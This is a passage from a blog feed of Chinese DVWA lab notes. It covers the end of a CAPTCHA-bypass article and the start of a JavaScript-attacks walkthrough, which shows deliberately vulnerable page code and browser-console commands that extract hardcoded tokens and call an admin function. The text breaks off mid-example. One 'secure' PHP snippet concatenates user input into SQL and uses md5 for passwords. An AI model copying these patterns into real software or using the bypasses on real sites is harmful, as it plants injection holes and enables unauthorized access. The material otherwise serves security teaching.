class="variable">$_POST</span>[<span class="string">&#x27;g-recaptcha-response&#x27;</span>])) &#123;</span><br><span class="line">    <span class="variable">$recaptcha</span> = <span class="variable">$_POST</span>[<span class="string">&#x27;g-recaptcha-response&#x27;</span>];</span><br><span class="line"></span><br><span class="line">    <span class="variable">$response</span> = <span class="title function_ invoke__">file_get_contents</span>(</span><br><span class="line">        <span class="string">&#x27;https://www.google.com/recaptcha/api/siteverify?secret=&#x27;</span> . <span class="variable">$secret_key</span> .</span><br><span class="line">        <span class="string">&#x27;&amp;response=&#x27;</span> . <span class="variable">$recaptcha</span> .</span><br><span class="line">        <span class="string">&#x27;&amp;remoteip=&#x27;</span> . <span class="variable">$_SERVER</span>[<span class="string">&#x27;REMOTE_ADDR&#x27;</span>]</span><br><span class="line">    );</span><br><span class="line"></span><br><span class="line">    <span class="variable">$response</span> = <span class="title function_ invoke__">json_decode</span>(<span class="variable">$response</span>);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 检查success字段</span></span><br><span class="line">    <span class="keyword">if</span> (<span class="variable">$response</span>-&gt;success !== <span class="literal">true</span>) &#123;</span><br><span class="line">        <span class="keyword">die</span>(<span class="string">&#x27;reCAPTCHA verification failed&#x27;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125; <span class="keyword">else</span> &#123;</span><br><span class="line">    <span class="keyword">die</span>(<span class="string">&#x27;reCAPTCHA is required&#x27;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="2-不使用客户端可控的变量存储状态"><a href="#2-不使用客户端可控的变量存储状态" class="headerlink" title="2. 不使用客户端可控的变量存储状态"></a>2. 不使用客户端可控的变量存储状态</h4><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 错误方式 ✗</span></span><br><span class="line"><span class="variable">$_POST</span>[<span class="string">&#x27;passed_captcha&#x27;</span>] = <span class="string">&#x27;true&#x27;</span>;</span><br><span class="line"><span class="keyword">if</span> (<span class="variable">$_POST</span>[<span class="string">&#x27;passed_captcha&#x27;</span>] == <span class="string">&#x27;true&#x27;</span>) &#123; ... &#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 正确方式 ✓</span></span><br><span class="line"><span class="variable">$_SESSION</span>[<span class="string">&#x27;passed_captcha&#x27;</span>] = <span class="literal">true</span>;</span><br><span class="line"><span class="keyword">if</span> (<span class="variable">$_SESSION</span>[<span class="string">&#x27;passed_captcha&#x27;</span>] === <span class="literal">true</span>) &#123; ... &#125;</span><br></pre></td></tr></table></figure><h4 id="3-使用后立即清除验证状态"><a href="#3-使用后立即清除验证状态" class="headerlink" title="3. 使用后立即清除验证状态"></a>3. 使用后立即清除验证状态</h4><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 验证通过</span></span><br><span class="line"><span class="variable">$_SESSION</span>[<span class="string">&#x27;captcha_verified&#x27;</span>] = <span class="literal">true</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 执行敏感操作</span></span><br><span class="line"><span class="keyword">if</span> (<span class="variable">$_SESSION</span>[<span class="string">&#x27;captcha_verified&#x27;</span>]) &#123;</span><br><span class="line">    <span class="comment">// 修改密码</span></span><br><span class="line"></span><br><span class="line">    <span class="comment">// 立即清除标志</span></span><br><span class="line">    <span class="keyword">unset</span>(<span class="variable">$_SESSION</span>[<span class="string">&#x27;captcha_verified&#x27;</span>]);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="4-使用token机制"><a href="#4-使用token机制" class="headerlink" title="4. 使用token机制"></a>4. 使用token机制</h4><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 生成一次性token</span></span><br><span class="line"><span class="variable">$token</span> = <span class="title function_ invoke__">bin2hex</span>(<span class="title function_ invoke__">random_bytes</span>(<span class="number">32</span>));</span><br><span class="line"><span class="variable">$_SESSION</span>[<span class="string">&#x27;captcha_token&#x27;</span>] = <span class="variable">$token</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 验证后检查token</span></span><br><span class="line"><span class="keyword">if</span> (<span class="keyword">isset</span>(<span class="variable">$_POST</span>[<span class="string">&#x27;captcha_token&#x27;</span>]) &amp;&amp;</span><br><span class="line">    <span class="keyword">isset</span>(<span class="variable">$_SESSION</span>[<span class="string">&#x27;captcha_token&#x27;</span>]) &amp;&amp;</span><br><span class="line">    <span class="title function_ invoke__">hash_equals</span>(<span class="variable">$_SESSION</span>[<span class="string">&#x27;captcha_token&#x27;</span>], <span class="variable">$_POST</span>[<span class="string">&#x27;captcha_token&#x27;</span>])) &#123;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// token有效</span></span><br><span class="line">    <span class="keyword">unset</span>(<span class="variable">$_SESSION</span>[<span class="string">&#x27;captcha_token&#x27;</span>]); <span class="comment">// 立即删除</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="5-添加额外的安全措施"><a href="#5-添加额外的安全措施" class="headerlink" title="5. 添加额外的安全措施"></a>5. 添加额外的安全措施</h4><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 要求输入当前密码</span></span><br><span class="line"><span class="variable">$current_pass</span> = <span class="title function_ invoke__">md5</span>(<span class="variable">$_POST</span>[<span class="string">&#x27;current_password&#x27;</span>]);</span><br><span class="line"><span class="variable">$query</span> = <span class="string">&quot;SELECT * FROM users WHERE user=&#x27;<span class="subst">$username</span>&#x27; AND password=&#x27;<span class="subst">$current_pass</span>&#x27;&quot;</span>;</span><br><span class="line"><span class="variable">$result</span> = <span class="title function_ invoke__">mysqli_query</span>(<span class="variable">$conn</span>, <span class="variable">$query</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (<span class="title function_ invoke__">mysqli_num_rows</span>(<span class="variable">$result</span>) != <span class="number">1</span>) &#123;</span><br><span class="line">    <span class="keyword">die</span>(<span class="string">&#x27;Current password incorrect&#x27;</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// CAPTCHA验证</span></span><br><span class="line"><span class="keyword">if</span> (!<span class="title function_ invoke__">verify_recaptcha</span>(<span class="variable">$_POST</span>[<span class="string">&#x27;g-recaptcha-response&#x27;</span>])) &#123;</span><br><span class="line">    <span class="keyword">die</span>(<span class="string">&#x27;CAPTCHA verification failed&#x27;</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 都通过后才修改密码</span></span><br></pre></td></tr></table></figure><h3 id="最佳实践"><a href="#最佳实践" class="headerlink" title="最佳实践"></a>最佳实践</h3><ol><li><strong>使用reCAPTCHA v3</strong> - 更智能，用户体验更好</li><li><strong>服务器端验证</strong> - 绝不信任客户端</li><li><strong>一次性使用</strong> - 验证后立即清除状态</li><li><strong>多因素验证</strong> - CAPTCHA + 密码 + 邮箱验证</li><li><strong>限制尝试次数</strong> - 防止暴力破解</li></ol><hr><h2 id="总结对比"><a href="#总结对比" class="headerlink" title="总结对比"></a>总结对比</h2><table><thead><tr><th>特性</th><th>Low</th><th>Medium</th><th>High</th><th>Impossible</th></tr></thead><tbody><tr><td>CAPTCHA验证</td><td>❌ 不验证</td><td>✅ 验证但有缺陷</td><td>✅ SESSION存储</td><td>✅ 完善验证</td></tr><tr><td>状态存储</td><td>客户端(step)</td><td>客户端($_POST)</td><td>服务端($_SESSION)</td><td>N&#x2F;A</td></tr><tr><td>验证位置</td><td>❌ 无</td><td>后端</td><td>后端</td><td>后端</td></tr><tr><td>可重用性</td><td>N&#x2F;A</td><td>❌ 可绕过</td><td>✅ 可重用</td><td>❌ 不可重用</td></tr><tr><td>当前密码验证</td><td>❌</td><td>❌</td><td>❌</td><td>✅</td></tr><tr><td>CSRF防护</td><td>❌</td><td>❌</td><td>❌</td><td>✅</td></tr><tr><td>攻击难度</td><td>极易</td><td>简单</td><td>中等</td><td>极难</td></tr></tbody></table><hr><h2 id="实战建议"><a href="#实战建议" class="headerlink" title="实战建议"></a>实战建议</h2><p><strong>学习路径：</strong></p><ol><li><strong>Low难度</strong> - 理解step参数绕过</li><li><strong>Medium难度</strong> - 学习$_POST劫持</li><li><strong>High难度</strong> - 理解SESSION重用</li><li><strong>Impossible难度</strong> - 掌握完善的防御</li></ol><p><strong>攻击技巧：</strong></p><ul><li>使用Burp Suite修改请求参数</li><li>理解客户端vs服务器端验证</li><li>观察SESSION行为</li><li>自动化测试脚本</li></ul><p><strong>防御重点：</strong></p><ul><li>服务器端验证CAPTCHA</li><li>不使用客户端可控变量</li><li>验证后清除状态</li><li>添加多层安全措施</li></ul><p><strong>道德准则：</strong></p><ul><li>只在授权环境测试</li><li>理解是为了构建更安全的系统</li></ul>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;目录&quot;&gt;&lt;a href=&quot;#目录&quot; class=&quot;headerlink&quot; title=&quot;目录&quot;&gt;&lt;/a&gt;目录&lt;/h2&gt;&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;#%E6%BC%8F%E6%B4%9E%E7%AE%80%E4%BB%8B&quot;&gt;漏洞简介&lt;/a&gt;&lt;/li&gt;
&lt;l</summary>
      
    
    
    
    <category term="dvwa靶场学习笔记" scheme="http://caixuya.github.io/categories/dvwa%E9%9D%B6%E5%9C%BA%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"/>
    
    
  </entry>
  
  <entry>
    <title>DVWA - JavaScript Attacks 攻防练习详解</title>
    <link href="http://caixuya.github.io/2025/11/20/JavaScript_Attacks_%E6%94%BB%E9%98%B2%E7%BB%83%E4%B9%A0/"/>
    <id>http://caixuya.github.io/2025/11/20/JavaScript_Attacks_%E6%94%BB%E9%98%B2%E7%BB%83%E4%B9%A0/</id>
    <published>2025-11-20T15:31:37.109Z</published>
    <updated>2025-11-20T15:27:28.074Z</updated>
    
    <content type="html"><![CDATA[<h2 id="目录"><a href="#目录" class="headerlink" title="目录"></a>目录</h2><ul><li><a href="#%E6%BC%8F%E6%B4%9E%E7%AE%80%E4%BB%8B">漏洞简介</a></li><li><a href="#low-%E9%9A%BE%E5%BA%A6">Low 难度</a></li><li><a href="#medium-%E9%9A%BE%E5%BA%A6">Medium 难度</a></li><li><a href="#high-%E9%9A%BE%E5%BA%A6">High 难度</a></li><li><a href="#impossible-%E9%9A%BE%E5%BA%A6">Impossible 难度</a></li><li><a href="#%E9%98%B2%E5%BE%A1%E5%BB%BA%E8%AE%AE">防御建议</a></li></ul><hr><h2 id="漏洞简介"><a href="#漏洞简介" class="headerlink" title="漏洞简介"></a>漏洞简介</h2><h3 id="什么是JavaScript-Attacks（JavaScript攻击）？"><a href="#什么是JavaScript-Attacks（JavaScript攻击）？" class="headerlink" title="什么是JavaScript Attacks（JavaScript攻击）？"></a>什么是JavaScript Attacks（JavaScript攻击）？</h3><p>JavaScript攻击是指通过客户端JavaScript代码的漏洞进行的攻击，包括客户端逻辑绕过、JavaScript代码分析、原型链污染、DOM破坏等。</p><p><strong>JavaScript攻击的类型：</strong></p><ol><li><strong>客户端验证绕过</strong> - 修改或禁用JavaScript验证</li><li><strong>逻辑漏洞利用</strong> - 利用JavaScript代码中的逻辑错误</li><li><strong>代码混淆破解</strong> - 反混淆获取敏感信息</li><li><strong>原型链污染</strong> - 污染Object.prototype</li><li><strong>DOM Clobbering</strong> - 通过HTML元素ID&#x2F;name覆盖全局变量</li><li><strong>JavaScript注入</strong> - 向JavaScript上下文注入恶意代码</li><li><strong>WebAssembly攻击</strong> - 利用WASM的漏洞</li></ol><p><strong>危害：</strong></p><ul><li>绕过客户端安全检查</li><li>获取隐藏的敏感信息</li><li>修改程序逻辑</li><li>执行未授权操作</li><li>窃取令牌和密钥</li></ul><p><strong>DVWA场景：</strong><br>一个JavaScript验证的表单，用户需要通过token验证才能提交。</p><p><strong>关键原则：</strong></p><blockquote><p>永远不要信任客户端！所有安全验证都应在服务器端进行。</p></blockquote><hr><h2 id="Low-难度"><a href="#Low-难度" class="headerlink" title="Low 难度"></a>Low 难度</h2><h3 id="攻击目标"><a href="#攻击目标" class="headerlink" title="攻击目标"></a>攻击目标</h3><p>客户端JavaScript包含明文token，可直接获取。</p><h3 id="前端代码分析"><a href="#前端代码分析" class="headerlink" title="前端代码分析"></a>前端代码分析</h3><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;!DOCTYPE <span class="keyword">html</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">html</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">head</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">title</span>&gt;</span>JavaScript Attacks - Low<span class="tag">&lt;/<span class="name">title</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">head</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">body</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">h1</span>&gt;</span>JavaScript Attack Test<span class="tag">&lt;/<span class="name">h1</span>&gt;</span></span><br><span class="line"></span><br><span class="line">    <span class="tag">&lt;<span class="name">p</span>&gt;</span>Submit the phrase &quot;success&quot; to win!<span class="tag">&lt;/<span class="name">p</span>&gt;</span></span><br><span class="line"></span><br><span class="line">    <span class="tag">&lt;<span class="name">form</span> <span class="attr">id</span>=<span class="string">&quot;submitForm&quot;</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">input</span> <span class="attr">type</span>=<span class="string">&quot;text&quot;</span> <span class="attr">id</span>=<span class="string">&quot;phrase&quot;</span> <span class="attr">name</span>=<span class="string">&quot;phrase&quot;</span> <span class="attr">placeholder</span>=<span class="string">&quot;Enter phrase&quot;</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">button</span> <span class="attr">type</span>=<span class="string">&quot;submit&quot;</span>&gt;</span>Submit<span class="tag">&lt;/<span class="name">button</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">form</span>&gt;</span></span><br><span class="line"></span><br><span class="line">    <span class="tag">&lt;<span class="name">div</span> <span class="attr">id</span>=<span class="string">&quot;result&quot;</span>&gt;</span><span class="tag">&lt;/<span class="name">div</span>&gt;</span></span><br><span class="line"></span><br><span class="line">    <span class="tag">&lt;<span class="name">script</span>&gt;</span><span class="language-javascript"></span></span><br><span class="line"><span class="language-javascript">    <span class="comment">// ★★★ 核心漏洞：token硬编码在客户端 ★★★</span></span></span><br><span class="line"><span class="language-javascript">    <span class="comment">// 任何人都可以查看源代码获取token</span></span></span><br><span class="line"><span class="language-javascript">    <span class="comment">// 这是最严重的安全错误之一</span></span></span><br><span class="line"><span class="language-javascript">    <span class="keyword">var</span> token = <span class="string">&quot;success&quot;</span>;</span></span><br><span class="line"><span class="language-javascript"></span></span><br><span class="line"><span class="language-javascript">    <span class="comment">// 表单提交处理</span></span></span><br><span class="line"><span class="language-javascript">    <span class="variable language_">document</span>.<span class="title function_">getElementById</span>(<span class="string">&#x27;submitForm&#x27;</span>).<span class="title function_">addEventListener</span>(<span class="string">&#x27;submit&#x27;</span>, <span class="keyword">function</span>(<span class="params">e</span>) &#123;</span></span><br><span class="line"><span class="language-javascript">        e.<span class="title function_">preventDefault</span>();</span></span><br><span class="line"><span class="language-javascript"></span></span><br><span class="line"><span class="language-javascript">        <span class="comment">// 获取用户输入</span></span></span><br><span class="line"><span class="language-javascript">        <span class="keyword">var</span> phrase = <span class="variable language_">document</span>.<span class="title function_">getElementById</span>(<span class="string">&#x27;phrase&#x27;</span>).<span class="property">value</span>;</span></span><br><span class="line"><span class="language-javascript"></span></span><br><span class="line"><span class="language-javascript">        <span class="comment">// ★★★ 危险操作：客户端验证 ★★★</span></span></span><br><span class="line"><span class="language-javascript">        <span class="comment">// 问题：</span></span></span><br><span class="line"><span class="language-javascript">        <span class="comment">// 1. token明文存储在JavaScript中</span></span></span><br><span class="line"><span class="language-javascript">        <span class="comment">// 2. 验证完全在客户端进行</span></span></span><br><span class="line"><span class="language-javascript">        <span class="comment">// 3. 攻击者可以直接查看token</span></span></span><br><span class="line"><span class="language-javascript">        <span class="comment">// 4. 可以禁用JavaScript绕过验证</span></span></span><br><span class="line"><span class="language-javascript">        <span class="keyword">if</span> (phrase === token) &#123;</span></span><br><span class="line"><span class="language-javascript">            <span class="comment">// 验证通过</span></span></span><br><span class="line"><span class="language-javascript">            <span class="variable language_">document</span>.<span class="title function_">getElementById</span>(<span class="string">&#x27;result&#x27;</span>).<span class="property">innerHTML</span> =</span></span><br><span class="line"><span class="language-javascript">                <span class="string">&#x27;&lt;p style=&quot;color:green;&quot;&gt;✓ Correct! Well done!&lt;/p&gt;&#x27;</span>;</span></span><br><span class="line"><span class="language-javascript"></span></span><br><span class="line"><span class="language-javascript">            <span class="comment">// ★★★ 问题：在客户端显示敏感信息 ★★★</span></span></span><br><span class="line"><span class="language-javascript">            <span class="comment">// 实际应用中可能是：</span></span></span><br><span class="line"><span class="language-javascript">            <span class="comment">// - API密钥</span></span></span><br><span class="line"><span class="language-javascript">            <span class="comment">// - 数据库凭证</span></span></span><br><span class="line"><span class="language-javascript">            <span class="comment">// - 管理员令牌</span></span></span><br><span class="line"><span class="language-javascript">            <span class="comment">// - 加密密钥</span></span></span><br><span class="line"><span class="language-javascript">            <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&#x27;Token validated: &#x27;</span> + token);</span></span><br><span class="line"><span class="language-javascript">            <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&#x27;Secret data: admin_password_123&#x27;</span>);</span></span><br><span class="line"><span class="language-javascript"></span></span><br><span class="line"><span class="language-javascript">        &#125; <span class="keyword">else</span> &#123;</span></span><br><span class="line"><span class="language-javascript">            <span class="comment">// 验证失败</span></span></span><br><span class="line"><span class="language-javascript">            <span class="variable language_">document</span>.<span class="title function_">getElementById</span>(<span class="string">&#x27;result&#x27;</span>).<span class="property">innerHTML</span> =</span></span><br><span class="line"><span class="language-javascript">                <span class="string">&#x27;&lt;p style=&quot;color:red;&quot;&gt;✗ Invalid phrase&lt;/p&gt;&#x27;</span>;</span></span><br><span class="line"><span class="language-javascript">        &#125;</span></span><br><span class="line"><span class="language-javascript">    &#125;);</span></span><br><span class="line"><span class="language-javascript"></span></span><br><span class="line"><span class="language-javascript">    <span class="comment">// ★★★ 更危险的做法：在JavaScript中存储敏感数据 ★★★</span></span></span><br><span class="line"><span class="language-javascript">    <span class="keyword">var</span> config = &#123;</span></span><br><span class="line"><span class="language-javascript">        <span class="attr">apiKey</span>: <span class="string">&#x27;sk-1234567890abcdef&#x27;</span>,</span></span><br><span class="line"><span class="language-javascript">        <span class="attr">apiSecret</span>: <span class="string">&#x27;secret_key_do_not_share&#x27;</span>,</span></span><br><span class="line"><span class="language-javascript">        <span class="attr">adminToken</span>: <span class="string">&#x27;admin_token_12345&#x27;</span>,</span></span><br><span class="line"><span class="language-javascript">        <span class="attr">databasePassword</span>: <span class="string">&#x27;db_pass_456&#x27;</span></span></span><br><span class="line"><span class="language-javascript">    &#125;;</span></span><br><span class="line"><span class="language-javascript"></span></span><br><span class="line"><span class="language-javascript">    <span class="comment">// ★★★ 问题：使用eval()或Function()执行动态代码 ★★★</span></span></span><br><span class="line"><span class="language-javascript">    <span class="comment">// 如果有输入可以影响这些，就会导致代码注入</span></span></span><br><span class="line"><span class="language-javascript">    <span class="keyword">function</span> <span class="title function_">executeCommand</span>(<span class="params">cmd</span>) &#123;</span></span><br><span class="line"><span class="language-javascript">        <span class="comment">// 极度危险！</span></span></span><br><span class="line"><span class="language-javascript">        <span class="built_in">eval</span>(cmd);</span></span><br><span class="line"><span class="language-javascript">    &#125;</span></span><br><span class="line"><span class="language-javascript"></span></span><br><span class="line"><span class="language-javascript">    <span class="comment">// ★★★ 问题：敏感逻辑暴露 ★★★</span></span></span><br><span class="line"><span class="language-javascript">    <span class="keyword">function</span> <span class="title function_">isAdmin</span>(<span class="params"></span>) &#123;</span></span><br><span class="line"><span class="language-javascript">        <span class="comment">// 这种检查毫无意义，因为攻击者可以直接调用grantAdminAccess()</span></span></span><br><span class="line"><span class="language-javascript">        <span class="keyword">return</span> <span class="literal">true</span>;</span></span><br><span class="line"><span class="language-javascript">    &#125;</span></span><br><span class="line"><span class="language-javascript"></span></span><br><span class="line"><span class="language-javascript">    <span class="keyword">function</span> <span class="title function_">grantAdminAccess</span>(<span class="params"></span>) &#123;</span></span><br><span class="line"><span class="language-javascript">        <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&#x27;Admin access granted!&#x27;</span>);</span></span><br><span class="line"><span class="language-javascript">        <span class="variable language_">window</span>.<span class="property">location</span> = <span class="string">&#x27;/admin/dashboard&#x27;</span>;</span></span><br><span class="line"><span class="language-javascript">    &#125;</span></span><br><span class="line"><span class="language-javascript">    </span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">body</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">html</span>&gt;</span></span><br></pre></td></tr></table></figure><h3 id="漏洞分析"><a href="#漏洞分析" class="headerlink" title="漏洞分析"></a>漏洞分析</h3><p><strong>核心问题：</strong></p><ol><li><strong>明文token</strong> - 直接写在JavaScript中</li><li><strong>客户端验证</strong> - 所有验证在浏览器进行</li><li><strong>敏感信息泄露</strong> - API密钥、密码等存储在JS</li><li><strong>可绕过的逻辑</strong> - 攻击者可以直接调用函数</li><li><strong>使用eval()</strong> - 可能导致代码注入</li></ol><p><strong>数据流：</strong></p><figure class="highlight mipsasm"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">用户输入 → <span class="keyword">JavaScript验证 </span>→ 客户端显示结果</span><br><span class="line"></span><br><span class="line">问题：服务器完全不参与验证！</span><br></pre></td></tr></table></figure><h3 id="攻击步骤"><a href="#攻击步骤" class="headerlink" title="攻击步骤"></a>攻击步骤</h3><h4 id="步骤1：查看源代码获取token"><a href="#步骤1：查看源代码获取token" class="headerlink" title="步骤1：查看源代码获取token"></a>步骤1：查看源代码获取token</h4><p><strong>方法1：右键查看源代码</strong></p><figure class="highlight abnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">1</span>. 右键点击页面</span><br><span class="line"><span class="number">2</span>. 选择<span class="string">&quot;查看源代码&quot;</span></span><br><span class="line"><span class="number">3</span>. 搜索<span class="string">&quot;token&quot;</span>或<span class="string">&quot;success&quot;</span></span><br><span class="line"><span class="number">4</span>. 找到：var token <span class="operator">=</span> <span class="string">&quot;success&quot;</span><span class="comment">;</span></span><br></pre></td></tr></table></figure><p><strong>方法2：使用DevTools</strong></p><figure class="highlight markdown"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="bullet">1.</span> 按F12打开开发者工具</span><br><span class="line"><span class="bullet">2.</span> 切换到&quot;Sources&quot;标签</span><br><span class="line"><span class="bullet">3.</span> 查看内联JavaScript</span><br><span class="line"><span class="bullet">4.</span> 找到token变量</span><br></pre></td></tr></table></figure><p><strong>方法3：直接在Console查看</strong></p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 在Console中输入</span></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(token);</span><br><span class="line"><span class="comment">// 输出：success</span></span><br></pre></td></tr></table></figure><h4 id="步骤2：提取所有敏感信息"><a href="#步骤2：提取所有敏感信息" class="headerlink" title="步骤2：提取所有敏感信息"></a>步骤2：提取所有敏感信息</h4><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 在Console中执行</span></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(token);           <span class="comment">// success</span></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(config.<span class="property">apiKey</span>);   <span class="comment">// sk-1234567890abcdef</span></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(config.<span class="property">apiSecret</span>); <span class="comment">// secret_key_do_not_share</span></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(config.<span class="property">adminToken</span>); <span class="comment">// admin_token_12345</span></span><br></pre></td></tr></table></figure><h4 id="步骤3：绕过验证直接调用函数"><a href="#步骤3：绕过验证直接调用函数" class="headerlink" title="步骤3：绕过验证直接调用函数"></a>步骤3：绕过验证直接调用函数</h4><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 直接调用敏感函数</span></span><br><span class="line"><span class="title function_">grantAdminAccess</span>();</span><br><span class="line"><span class="comment">// 结果：直接跳转到admin页面</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 或修改DOM</span></span><br><span class="line"><span class="variable language_">document</span>.<span class="title function_">getElementById</span>(<span class="string">&#x27;result&#x27;</span>).<span class="property">innerHTML</span> =</span><br><span class="line">    <span class="string">&#x27;&lt;p style=&quot;color:green;&quot;&gt;✓ Hacked!&lt;/p&gt;&#x27;</span>;</span><br></pre></td></tr></table></figure><h4 id="步骤4：禁用JavaScript验证"><a href="#步骤4：禁用JavaScript验证" class="headerlink" title="步骤4：禁用JavaScript验证"></a>步骤4：禁用JavaScript验证</h4><p><strong>方法1：修改HTML</strong></p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 在Console中</span></span><br><span class="line"><span class="variable language_">document</span>.<span class="title function_">getElementById</span>(<span class="string">&#x27;submitForm&#x27;</span>).<span class="property">onsubmit</span> = <span class="literal">null</span>;</span><br><span class="line"><span class="comment">// 或</span></span><br><span class="line"><span class="variable language_">document</span>.<span class="title function_">getElementById</span>(<span class="string">&#x27;submitForm&#x27;</span>).<span class="title function_">removeEventListener</span>(<span class="string">&#x27;submit&#x27;</span>, ...);</span><br></pre></td></tr></table></figure><p><strong>方法2：直接发送请求</strong></p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td 